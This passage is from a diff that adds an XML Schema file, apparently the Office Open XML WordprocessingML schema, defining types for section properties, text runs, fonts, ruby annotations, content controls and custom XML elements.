type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_VerticalJc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="both"/> + <xsd:enumeration value="bottom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_VerticalJc"> + <xsd:attribute name="val" type="ST_VerticalJc" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DocGrid"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="lines"/> + <xsd:enumeration value="linesAndChars"/> + <xsd:enumeration value="snapToChars"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DocGrid"> + <xsd:attribute name="type" type="ST_DocGrid"/> + <xsd:attribute name="linePitch" type="ST_DecimalNumber"/> + <xsd:attribute name="charSpace" type="ST_DecimalNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_HdrFtr"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="even"/> + <xsd:enumeration value="default"/> + <xsd:enumeration value="first"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FtnEdn"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="separator"/> + <xsd:enumeration value="continuationSeparator"/> + <xsd:enumeration value="continuationNotice"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_HdrFtrRef"> + <xsd:complexContent> + <xsd:extension base="CT_Rel"> + <xsd:attribute name="type" type="ST_HdrFtr" use="required"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:group name="EG_HdrFtrReferences"> + <xsd:choice> + <xsd:element name="headerReference" type="CT_HdrFtrRef" minOccurs="0"/> + <xsd:element name="footerReference" type="CT_HdrFtrRef" minOccurs="0"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_HdrFtr"> + <xsd:group ref="EG_BlockLevelElts" minOccurs="1" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:group name="EG_SectPrContents"> + <xsd:sequence> + <xsd:element name="footnotePr" type="CT_FtnProps" minOccurs="0"/> + <xsd:element name="endnotePr" type="CT_EdnProps" minOccurs="0"/> + <xsd:element name="type" type="CT_SectType" minOccurs="0"/> + <xsd:element name="pgSz" type="CT_PageSz" minOccurs="0"/> + <xsd:element name="pgMar" type="CT_PageMar" minOccurs="0"/> + <xsd:element name="paperSrc" type="CT_PaperSource" minOccurs="0"/> + <xsd:element name="pgBorders" type="CT_PageBorders" minOccurs="0"/> + <xsd:element name="lnNumType" type="CT_LineNumber" minOccurs="0"/> + <xsd:element name="pgNumType" type="CT_PageNumber" minOccurs="0"/> + <xsd:element name="cols" type="CT_Columns" minOccurs="0"/> + <xsd:element name="formProt" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="vAlign" type="CT_VerticalJc" minOccurs="0"/> + <xsd:element name="noEndnote" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="titlePg" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="textDirection" type="CT_TextDirection" minOccurs="0"/> + <xsd:element name="bidi" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="rtlGutter" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="docGrid" type="CT_DocGrid" minOccurs="0"/> + <xsd:element name="printerSettings" type="CT_Rel" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:attributeGroup name="AG_SectPrAttributes"> + <xsd:attribute name="rsidRPr" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidDel" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidR" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidSect" type="ST_LongHexNumber"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_SectPrBase"> + <xsd:sequence> + <xsd:group ref="EG_SectPrContents" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_SectPrAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_SectPr"> + <xsd:sequence> + <xsd:group ref="EG_HdrFtrReferences" minOccurs="0" maxOccurs="6"/> + <xsd:group ref="EG_SectPrContents" minOccurs="0"/> + <xsd:element name="sectPrChange" type="CT_SectPrChange" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_SectPrAttributes"/> + </xsd:complexType> + <xsd:simpleType name="ST_BrType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="page"/> + <xsd:enumeration value="column"/> + <xsd:enumeration value="textWrapping"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_BrClear"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="all"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Br"> + <xsd:attribute name="type" type="ST_BrType" use="optional"/> + <xsd:attribute name="clear" type="ST_BrClear" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PTabAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="right"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PTabRelativeTo"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="indent"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PTabLeader"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="hyphen"/> + <xsd:enumeration value="underscore"/> + <xsd:enumeration value="middleDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PTab"> + <xsd:attribute name="alignment" type="ST_PTabAlignment" use="required"/> + <xsd:attribute name="relativeTo" type="ST_PTabRelativeTo" use="required"/> + <xsd:attribute name="leader" type="ST_PTabLeader" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Sym"> + <xsd:attribute name="font" type="s:ST_String"/> + <xsd:attribute name="char" type="ST_ShortHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_ProofErr"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="spellStart"/> + <xsd:enumeration value="spellEnd"/> + <xsd:enumeration value="gramStart"/> + <xsd:enumeration value="gramEnd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ProofErr"> + <xsd:attribute name="type" type="ST_ProofErr" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_EdGrp"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="everyone"/> + <xsd:enumeration value="administrators"/> + <xsd:enumeration value="contributors"/> + <xsd:enumeration value="editors"/> + <xsd:enumeration value="owners"/> + <xsd:enumeration value="current"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Perm"> + <xsd:attribute name="id" type="s:ST_String" use="required"/> + <xsd:attribute name="displacedByCustomXml" type="ST_DisplacedByCustomXml" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PermStart"> + <xsd:complexContent> + <xsd:extension base="CT_Perm"> + <xsd:attribute name="edGrp" type="ST_EdGrp" use="optional"/> + <xsd:attribute name="ed" type="s:ST_String" use="optional"/> + <xsd:attribute name="colFirst" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="colLast" type="ST_DecimalNumber" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Text"> + <xsd:simpleContent> + <xsd:extension base="s:ST_String"> + <xsd:attribute ref="xml:space" use="optional"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:group name="EG_RunInnerContent"> + <xsd:choice> + <xsd:element name="br" type="CT_Br"/> + <xsd:element name="t" type="CT_Text"/> + <xsd:element name="contentPart" type="CT_Rel"/> + <xsd:element name="delText" type="CT_Text"/> + <xsd:element name="instrText" type="CT_Text"/> + <xsd:element name="delInstrText" type="CT_Text"/> + <xsd:element name="noBreakHyphen" type="CT_Empty"/> + <xsd:element name="softHyphen" type="CT_Empty" minOccurs="0"/> + <xsd:element name="dayShort" type="CT_Empty" minOccurs="0"/> + <xsd:element name="monthShort" type="CT_Empty" minOccurs="0"/> + <xsd:element name="yearShort" type="CT_Empty" minOccurs="0"/> + <xsd:element name="dayLong" type="CT_Empty" minOccurs="0"/> + <xsd:element name="monthLong" type="CT_Empty" minOccurs="0"/> + <xsd:element name="yearLong" type="CT_Empty" minOccurs="0"/> + <xsd:element name="annotationRef" type="CT_Empty" minOccurs="0"/> + <xsd:element name="footnoteRef" type="CT_Empty" minOccurs="0"/> + <xsd:element name="endnoteRef" type="CT_Empty" minOccurs="0"/> + <xsd:element name="separator" type="CT_Empty" minOccurs="0"/> + <xsd:element name="continuationSeparator" type="CT_Empty" minOccurs="0"/> + <xsd:element name="sym" type="CT_Sym" minOccurs="0"/> + <xsd:element name="pgNum" type="CT_Empty" minOccurs="0"/> + <xsd:element name="cr" type="CT_Empty" minOccurs="0"/> + <xsd:element name="tab" type="CT_Empty" minOccurs="0"/> + <xsd:element name="object" type="CT_Object"/> + <xsd:element name="pict" type="CT_Picture"/> + <xsd:element name="fldChar" type="CT_FldChar"/> + <xsd:element name="ruby" type="CT_Ruby"/> + <xsd:element name="footnoteReference" type="CT_FtnEdnRef"/> + <xsd:element name="endnoteReference" type="CT_FtnEdnRef"/> + <xsd:element name="commentReference" type="CT_Markup"/> + <xsd:element name="drawing" type="CT_Drawing"/> + <xsd:element name="ptab" type="CT_PTab" minOccurs="0"/> + <xsd:element name="lastRenderedPageBreak" type="CT_Empty" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_R"> + <xsd:sequence> + <xsd:group ref="EG_RPr" minOccurs="0"/> + <xsd:group ref="EG_RunInnerContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="rsidRPr" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidDel" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidR" type="ST_LongHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_Hint"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="eastAsia"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Theme"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="majorEastAsia"/> + <xsd:enumeration value="majorBidi"/> + <xsd:enumeration value="majorAscii"/> + <xsd:enumeration value="majorHAnsi"/> + <xsd:enumeration value="minorEastAsia"/> + <xsd:enumeration value="minorBidi"/> + <xsd:enumeration value="minorAscii"/> + <xsd:enumeration value="minorHAnsi"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Fonts"> + <xsd:attribute name="hint" type="ST_Hint"/> + <xsd:attribute name="ascii" type="s:ST_String"/> + <xsd:attribute name="hAnsi" type="s:ST_String"/> + <xsd:attribute name="eastAsia" type="s:ST_String"/> + <xsd:attribute name="cs" type="s:ST_String"/> + <xsd:attribute name="asciiTheme" type="ST_Theme"/> + <xsd:attribute name="hAnsiTheme" type="ST_Theme"/> + <xsd:attribute name="eastAsiaTheme" type="ST_Theme"/> + <xsd:attribute name="cstheme" type="ST_Theme"/> + </xsd:complexType> + <xsd:group name="EG_RPrBase"> + <xsd:choice> + <xsd:element name="rStyle" type="CT_String"/> + <xsd:element name="rFonts" type="CT_Fonts"/> + <xsd:element name="b" type="CT_OnOff"/> + <xsd:element name="bCs" type="CT_OnOff"/> + <xsd:element name="i" type="CT_OnOff"/> + <xsd:element name="iCs" type="CT_OnOff"/> + <xsd:element name="caps" type="CT_OnOff"/> + <xsd:element name="smallCaps" type="CT_OnOff"/> + <xsd:element name="strike" type="CT_OnOff"/> + <xsd:element name="dstrike" type="CT_OnOff"/> + <xsd:element name="outline" type="CT_OnOff"/> + <xsd:element name="shadow" type="CT_OnOff"/> + <xsd:element name="emboss" type="CT_OnOff"/> + <xsd:element name="imprint" type="CT_OnOff"/> + <xsd:element name="noProof" type="CT_OnOff"/> + <xsd:element name="snapToGrid" type="CT_OnOff"/> + <xsd:element name="vanish" type="CT_OnOff"/> + <xsd:element name="webHidden" type="CT_OnOff"/> + <xsd:element name="color" type="CT_Color"/> + <xsd:element name="spacing" type="CT_SignedTwipsMeasure"/> + <xsd:element name="w" type="CT_TextScale"/> + <xsd:element name="kern" type="CT_HpsMeasure"/> + <xsd:element name="position" type="CT_SignedHpsMeasure"/> + <xsd:element name="sz" type="CT_HpsMeasure"/> + <xsd:element name="szCs" type="CT_HpsMeasure"/> + <xsd:element name="highlight" type="CT_Highlight"/> + <xsd:element name="u" type="CT_Underline"/> + <xsd:element name="effect" type="CT_TextEffect"/> + <xsd:element name="bdr" type="CT_Border"/> + <xsd:element name="shd" type="CT_Shd"/> + <xsd:element name="fitText" type="CT_FitText"/> + <xsd:element name="vertAlign" type="CT_VerticalAlignRun"/> + <xsd:element name="rtl" type="CT_OnOff"/> + <xsd:element name="cs" type="CT_OnOff"/> + <xsd:element name="em" type="CT_Em"/> + <xsd:element name="lang" type="CT_Language"/> + <xsd:element name="eastAsianLayout" type="CT_EastAsianLayout"/> + <xsd:element name="specVanish" type="CT_OnOff"/> + <xsd:element name="oMath" type="CT_OnOff"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_RPrContent"> + <xsd:sequence> + <xsd:group ref="EG_RPrBase" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rPrChange" type="CT_RPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_RPr"> + <xsd:sequence> + <xsd:group ref="EG_RPrContent" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_RPr"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:group name="EG_RPrMath"> + <xsd:choice> + <xsd:group ref="EG_RPr"/> + <xsd:element name="ins" type="CT_MathCtrlIns"/> + <xsd:element name="del" type="CT_MathCtrlDel"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_MathCtrlIns"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:choice minOccurs="0"> + <xsd:element name="del" type="CT_RPrChange" minOccurs="1"/> + <xsd:element name="rPr" type="CT_RPr" minOccurs="1"/> + </xsd:choice> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_MathCtrlDel"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:choice minOccurs="0"> + <xsd:element name="rPr" type="CT_RPr" minOccurs="1"/> + </xsd:choice> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_RPrOriginal"> + <xsd:sequence> + <xsd:group ref="EG_RPrBase" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ParaRPrOriginal"> + <xsd:sequence> + <xsd:group ref="EG_ParaRPrTrackChanges" minOccurs="0"/> + <xsd:group ref="EG_RPrBase" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ParaRPr"> + <xsd:sequence> + <xsd:group ref="EG_ParaRPrTrackChanges" minOccurs="0"/> + <xsd:group ref="EG_RPrBase" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rPrChange" type="CT_ParaRPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_ParaRPrTrackChanges"> + <xsd:sequence> + <xsd:element name="ins" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="del" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="moveFrom" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="moveTo" type="CT_TrackChange" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_AltChunk"> + <xsd:sequence> + <xsd:element name="altChunkPr" type="CT_AltChunkPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_AltChunkPr"> + <xsd:sequence> + <xsd:element name="matchSrc" type="CT_OnOff" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_RubyAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="center"/> + <xsd:enumeration value="distributeLetter"/> + <xsd:enumeration value="distributeSpace"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="rightVertical"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_RubyAlign"> + <xsd:attribute name="val" type="ST_RubyAlign" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RubyPr"> + <xsd:sequence> + <xsd:element name="rubyAlign" type="CT_RubyAlign"/> + <xsd:element name="hps" type="CT_HpsMeasure"/> + <xsd:element name="hpsRaise" type="CT_HpsMeasure"/> + <xsd:element name="hpsBaseText" type="CT_HpsMeasure"/> + <xsd:element name="lid" type="CT_Lang"/> + <xsd:element name="dirty" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_RubyContent"> + <xsd:choice> + <xsd:element name="r" type="CT_R"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_RubyContent"> + <xsd:group ref="EG_RubyContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:complexType name="CT_Ruby"> + <xsd:sequence> + <xsd:element name="rubyPr" type="CT_RubyPr"/> + <xsd:element name="rt" type="CT_RubyContent"/> + <xsd:element name="rubyBase" type="CT_RubyContent"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Lock"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="sdtLocked"/> + <xsd:enumeration value="contentLocked"/> + <xsd:enumeration value="unlocked"/> + <xsd:enumeration value="sdtContentLocked"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Lock"> + <xsd:attribute name="val" type="ST_Lock"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtListItem"> + <xsd:attribute name="displayText" type="s:ST_String"/> + <xsd:attribute name="value" type="s:ST_String"/> + </xsd:complexType> + <xsd:simpleType name="ST_SdtDateMappingType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="text"/> + <xsd:enumeration value="date"/> + <xsd:enumeration value="dateTime"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SdtDateMappingType"> + <xsd:attribute name="val" type="ST_SdtDateMappingType"/> + </xsd:complexType> + <xsd:complexType name="CT_CalendarType"> + <xsd:attribute name="val" type="s:ST_CalendarType"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtDate"> + <xsd:sequence> + <xsd:element name="dateFormat" type="CT_String" minOccurs="0"/> + <xsd:element name="lid" type="CT_Lang" minOccurs="0"/> + <xsd:element name="storeMappedDataAs" type="CT_SdtDateMappingType" minOccurs="0"/> + <xsd:element name="calendar" type="CT_CalendarType" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="fullDate" type="ST_DateTime" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtComboBox"> + <xsd:sequence> + <xsd:element name="listItem" type="CT_SdtListItem" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="lastValue" type="s:ST_String" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_SdtDocPart"> + <xsd:sequence> + <xsd:element name="docPartGallery" type="CT_String" minOccurs="0"/> + <xsd:element name="docPartCategory" type="CT_String" minOccurs="0"/> + <xsd:element name="docPartUnique" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtDropDownList"> + <xsd:sequence> + <xsd:element name="listItem" type="CT_SdtListItem" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="lastValue" type="s:ST_String" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_Placeholder"> + <xsd:sequence> + <xsd:element name="docPart" type="CT_String"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtText"> + <xsd:attribute name="multiLine" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:complexType name="CT_DataBinding"> + <xsd:attribute name="prefixMappings" type="s:ST_String"/> + <xsd:attribute name="xpath" type="s:ST_String" use="required"/> + <xsd:attribute name="storeItemID" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtPr"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + <xsd:element name="alias" type="CT_String" minOccurs="0"/> + <xsd:element name="tag" type="CT_String" minOccurs="0"/> + <xsd:element name="id" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="lock" type="CT_Lock" minOccurs="0"/> + <xsd:element name="placeholder" type="CT_Placeholder" minOccurs="0"/> + <xsd:element name="temporary" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="showingPlcHdr" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="dataBinding" type="CT_DataBinding" minOccurs="0"/> + <xsd:element name="label" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="tabIndex" type="CT_UnsignedDecimalNumber" minOccurs="0"/> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="equation" type="CT_Empty"/> + <xsd:element name="comboBox" type="CT_SdtComboBox"/> + <xsd:element name="date" type="CT_SdtDate"/> + <xsd:element name="docPartObj" type="CT_SdtDocPart"/> + <xsd:element name="docPartList" type="CT_SdtDocPart"/> + <xsd:element name="dropDownList" type="CT_SdtDropDownList"/> + <xsd:element name="picture" type="CT_Empty"/> + <xsd:element name="richText" type="CT_Empty"/> + <xsd:element name="text" type="CT_SdtText"/> + <xsd:element name="citation" type="CT_Empty"/> + <xsd:element name="group" type="CT_Empty"/> + <xsd:element name="bibliography" type="CT_Empty"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtEndPr"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + </xsd:choice> + </xsd:complexType> + <xsd:group name="EG_ContentRunContent"> + <xsd:choice> + <xsd:element name="customXml" type="CT_CustomXmlRun"/> + <xsd:element name="smartTag" type="CT_SmartTagRun"/> + <xsd:element name="sdt" type="CT_SdtRun"/> + <xsd:element name="dir" type="CT_DirContentRun"/> + <xsd:element name="bdo" type="CT_BdoContentRun"/> + <xsd:element name="r" type="CT_R"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_DirContentRun"> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + <xsd:attribute name="val" type="ST_Direction" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_BdoContentRun"> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + <xsd:attribute name="val" type="ST_Direction" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Direction"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ltr"/> + <xsd:enumeration value="rtl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SdtContentRun"> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:group name="EG_ContentBlockContent"> + <xsd:choice> + <xsd:element name="customXml" type="CT_CustomXmlBlock"/> + <xsd:element name="sdt" type="CT_SdtBlock"/> + <xsd:element name="p" type="CT_P" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="tbl" type="CT_Tbl" minOccurs="0" maxOccurs="unbounded"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_SdtContentBlock"> + <xsd:group ref="EG_ContentBlockContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:group name="EG_ContentRowContent"> + <xsd:choice> + <xsd:element name="tr" type="CT_Row" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="customXml" type="CT_CustomXmlRow"/> + <xsd:element name="sdt" type="CT_SdtRow"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_SdtContentRow"> + <xsd:group ref="EG_ContentRowContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:group name="EG_ContentCellContent"> + <xsd:choice> + <xsd:element name="tc" type="CT_Tc" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="customXml" type="CT_CustomXmlCell"/> + <xsd:element name="sdt" type="CT_SdtCell"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_SdtContentCell"> + <xsd:group ref="EG_ContentCellContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtBlock"> + <xsd:sequence> + <xsd:element name="sdtPr" type="CT_SdtPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtEndPr" type="CT_SdtEndPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtContent" type="CT_SdtContentBlock" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtRun"> + <xsd:sequence> + <xsd:element name="sdtPr" type="CT_SdtPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtEndPr" type="CT_SdtEndPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtContent" type="CT_SdtContentRun" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtCell"> + <xsd:sequence> + <xsd:element name="sdtPr" type="CT_SdtPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtEndPr" type="CT_SdtEndPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtContent" type="CT_SdtContentCell" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SdtRow"> + <xsd:sequence> + <xsd:element name="sdtPr" type="CT_SdtPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtEndPr" type="CT_SdtEndPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sdtContent" type="CT_SdtContentRow" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Attr"> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + <xsd:attribute name="val" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomXmlRun"> + <xsd:sequence> + <xsd:element name="customXmlPr" type="CT_CustomXmlPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="element" type="s:ST_XmlName" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SmartTagRun"> + <xsd:sequence> + <xsd:element name="smartTagPr" type="CT_SmartTagPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="element" type="s:ST_XmlName" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomXmlBlock"> + <xsd:sequence> + <xsd:element name="customXmlPr" type="CT_CustomXmlPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ContentBlockContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="element" type="s:ST_XmlName" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomXmlPr"> + <xsd:sequence> + <xsd:element name="placeholder" type="CT_String" minOccurs="0"/> + <xsd:element name="attr" type="CT_Attr" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomXmlRow"> + <xsd:sequence> + <xsd:element name="customXmlPr" type="CT_CustomXmlPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ContentRowContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="element" type="s:ST_XmlName" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomXmlCell"> + <xsd:sequence> + <xsd:element name="customXmlPr" type="CT_CustomXmlPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ContentCellContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="element" type="s:ST_XmlName" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SmartTagPr"> + <xsd:sequence> + <xsd:element name="attr" type="CT_Attr" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_PContent"> + <xsd:choice> + <xsd:group ref="EG_ContentRunContent" minOccurs="0" maxOccurs="unbounded"/> + 